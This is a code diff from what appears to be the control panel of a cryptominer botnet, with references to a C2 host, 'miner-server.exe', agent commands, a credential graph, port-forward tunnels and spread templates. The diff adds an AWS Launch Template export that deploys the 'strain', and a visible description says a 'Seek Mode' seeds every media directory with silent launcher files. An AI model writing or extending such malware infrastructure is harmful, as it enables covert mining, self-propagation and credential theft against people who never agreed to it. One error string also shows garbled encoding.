payload, err := json.Marshal(map[string]interface{}{ payload, err := json.Marshal(map[string]interface{}{
"server": map[string]interface{}{ "server": map[string]interface{}{
@@ -626,7 +626,7 @@ func findAgentSourceDir() string {
// <repo>/data even when miner-server.exe is started from server/ or bin/. // <repo>/data even when miner-server.exe is started from server/ or bin/.
func validateListenPort(port int) error { func validateListenPort(port int) error {
if port < 1 || port > 65535 { if port < 1 || port > 65535 {
return fmt.Errorf("port %d out of range (1ΓÇô65535)", port) return fmt.Errorf("port %d out of range (165535)", port)
} }
return nil return nil
} }

View File

@@ -174,6 +174,12 @@
</p> </p>
</section> </section>
<section class="section" id="aws-launch-template">
<h2>AWS Launch Template — strain genesis</h2>
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
</section>
<section class="section" id="cms"> <section class="section" id="cms">
<h2>CMS &amp; static host upload</h2> <h2>CMS &amp; static host upload</h2>
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p> <p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
@@ -288,6 +294,17 @@
var btn = document.getElementById(primary); var btn = document.getElementById(primary);
if (btn) btn.classList.add('primary'); if (btn) btn.classList.add('primary');
} }
var ltBtn = document.getElementById('btn-lt-generate');
if (ltBtn) ltBtn.addEventListener('click', function () {
var p = new URLSearchParams(window.location.search || '');
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
.then(function (r) { return r.json(); }).then(function (resp) {
if (!resp.success) return;
var hint = document.getElementById('lt-genesis-hint');
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
});
});
})(); })();
</script> </script>
</body> </body>

View File

@@ -42,6 +42,10 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
default: () => <div data-testid="spread-template-export" />, default: () => <div data-testid="spread-template-export" />,
})); }));
vi.mock('./LaunchTemplateExportPanel', () => ({
default: () => <div data-testid="launch-template-export" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds); const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand); const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL); const sendWOLMock = vi.mocked(api.sendWOL);

View File

@@ -17,6 +17,7 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager'; import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel'; import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel'; import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable'; import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary'; import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css'; import './ProtocolTunnelPanel.css';
@@ -825,6 +826,10 @@ export default function CrucibleExpandedOps({
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} /> <SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection> </CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
<LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek"> <CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
<p className="crucible-seek-blurb"> <p className="crucible-seek-blurb">
Recursively seeds every media directory under the given path with silent launcher files. Recursively seeds every media directory under the given path with silent launcher files.